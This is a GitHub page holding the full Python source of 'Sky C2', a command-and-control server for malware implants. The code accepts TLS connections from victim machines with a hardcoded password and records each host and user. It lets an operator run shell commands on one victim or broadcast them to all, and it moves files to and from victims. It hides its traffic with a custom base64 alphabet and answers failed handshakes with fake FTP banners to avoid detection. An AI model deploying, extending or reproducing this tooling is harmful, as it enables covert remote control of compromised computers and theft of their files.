-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
182 lines (165 loc) · 6.66 KB
/
server.py
File metadata and controls
182 lines (165 loc) · 6.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import socket
import ssl
import base64
import os
import threading
import random
HOST = '0.0.0.0'
PORT = 8443
CERT = 'cert.pem'
KEY = 'key.pem'
PASSWORD = 'LiquidSky'
CUSTOM_ALPHABET = "~!@#$%^&*()_+=-0987654321`:;'{jKlMnOpQrStUvWxYzaBcDeFgHi,.<>?[]}" # custom base64
STANDARD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
clients = {}
backgrounded = {}
BANNERS = [
b"220 Microsoft FTP Service\r\n",
b"220 ProFTPD 1.3.6 Server (Debian)\r\n",
b"220 vsFTPd 3.0.3\r\n",
b"220 FileZilla Server 0.9.41 beta\r\n",
b"220 Welcome to nginx FTP\r\n"
]
def encode(s: str) -> bytes:
if isinstance(s, str):
s = s.encode()
b64 = base64.b64encode(s)
trans = bytes.maketrans(STANDARD_ALPHABET.encode(), CUSTOM_ALPHABET.encode())
return b64.translate(trans)
def decode(b: bytes) -> str:
trans = bytes.maketrans(CUSTOM_ALPHABET.encode(), STANDARD_ALPHABET.encode())
return base64.b64decode(b.translate(trans)).decode(errors="ignore")
def handle_client(conn, addr):
try:
pw = b""
while not pw.endswith(b"\n"):
pw += conn.recv(1)
if decode(pw.strip()) != PASSWORD:
conn.sendall(encode("[!] Invalid password") + b"__END__")
conn.close()
return
uid = decode(conn.recv(1024)).strip()
computer = decode(conn.recv(1024)).strip()
user = decode(conn.recv(1024)).strip()
clients[uid] = {'conn': conn, 'addr': addr, 'id': f"{computer}/{user}"}
print(f"[+] Registered: {uid} ({clients[uid]['id']})")
except Exception as e:
print(f"[!] Registration error: {e}")
def handle_client_session(conn, uid):
try:
while True:
cmd = input(f"{uid}> ").strip()
if cmd == "bg":
backgrounded[uid] = True
break
conn.sendall(encode(cmd) + b"\n")
if cmd.startswith("download "):
filename = os.path.basename(cmd.split(" ", 1)[1].strip())
if not os.path.exists("downloads"):
os.makedirs("downloads")
with open(os.path.join("downloads", filename), "wb") as f:
while True:
chunk = conn.recv(4096)
if b"__END__" in chunk:
f.write(chunk.split(b"__END__")[0])
break
f.write(chunk)
print(f"[+] Saved: downloads/{filename}")
elif cmd.startswith("upload "):
path = cmd.split(" ", 1)[1].strip()
try:
with open(path, "rb") as f:
conn.sendall(f.read())
conn.sendall(b"__END__")
except Exception as e:
conn.sendall(f"[!] File not found or failed: {e}\n__END__".encode())
else:
output = b""
while True:
chunk = conn.recv(4096)
if b"__END__" in chunk:
output += chunk.split(b"__END__")[0]
break
output += chunk
print(decode(output).strip())
except Exception as e:
print(f"[!] Client error: {e}")
conn.close()
def print_banner():
print(r"""
░██████╗██╗░░██╗██╗░░░██╗ ░█████╗░██████╗░
██╔════╝██║░██╔╝╚██╗░██╔╝ ██╔══██╗╚════██╗
╚█████╗░█████═╝░░╚████╔╝░ ██║░░╚═╝░░███╔═╝
░╚═══██╗██╔═██╗░░░╚██╔╝░░ ██║░░██╗██╔══╝░░
██████╔╝██║░╚██╗░░░██║░░░ ╚█████╔╝███████╗
╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░ ░╚════╝░╚══════╝
░░░ Sky C2 ░░░ v.0.0.4
""")
def interact():
while True:
cmd = input("C2> ").strip()
if cmd == "clients":
for uid, info in clients.items():
print(f"{uid} - {info['id']}")
elif cmd.startswith("fg "):
target = cmd.split(" ", 1)[1].strip()
if target in clients:
print(f"[*] Interacting with {target}. Type 'bg' to background.")
handle_client_session(clients[target]['conn'], target)
else:
print("[!] Client not found.")
elif cmd == "jobs":
for uid in backgrounded:
print(f"[BG] {uid} - {clients[uid]['id']}")
elif cmd.startswith("broadcast "):
msg = cmd.split(" ", 1)[1].strip()
for uid, info in clients.items():
try:
conn = info['conn']
conn.sendall(encode(msg) + b"\n")
response = b""
while True:
chunk = conn.recv(4096)
if b"__END__" in chunk:
response += chunk.split(b"__END__")[0]
break
response += chunk
print(f"[{uid}] {decode(response).strip()}")
except Exception as e:
print(f"[{uid}] Error: {e}")
elif cmd == "help":
print("""
clients - List connected clients
fg <UUID> - Foreground and interact with client
jobs - Show backgrounded sessions
broadcast <cmd> - Send command to all clients
help - Show help
exit - Quit server
""")
elif cmd == "exit":
break
else:
print("[?] Unknown command")
def start():
print_banner()
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=CERT, keyfile=KEY)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen(5)
print(f"[*] Listening on {HOST}:{PORT}")
while True:
conn, addr = s.accept()
try:
ssock = context.wrap_socket(conn, server_side=True)
threading.Thread(target=handle_client, args=(ssock, addr), daemon=True).start()
except ssl.SSLError:
try:
conn.sendall(random.choice(BANNERS))
except:
pass
finally:
conn.close()
if __name__ == "__main__":
threading.Thread(target=interact, daemon=True).start()
start()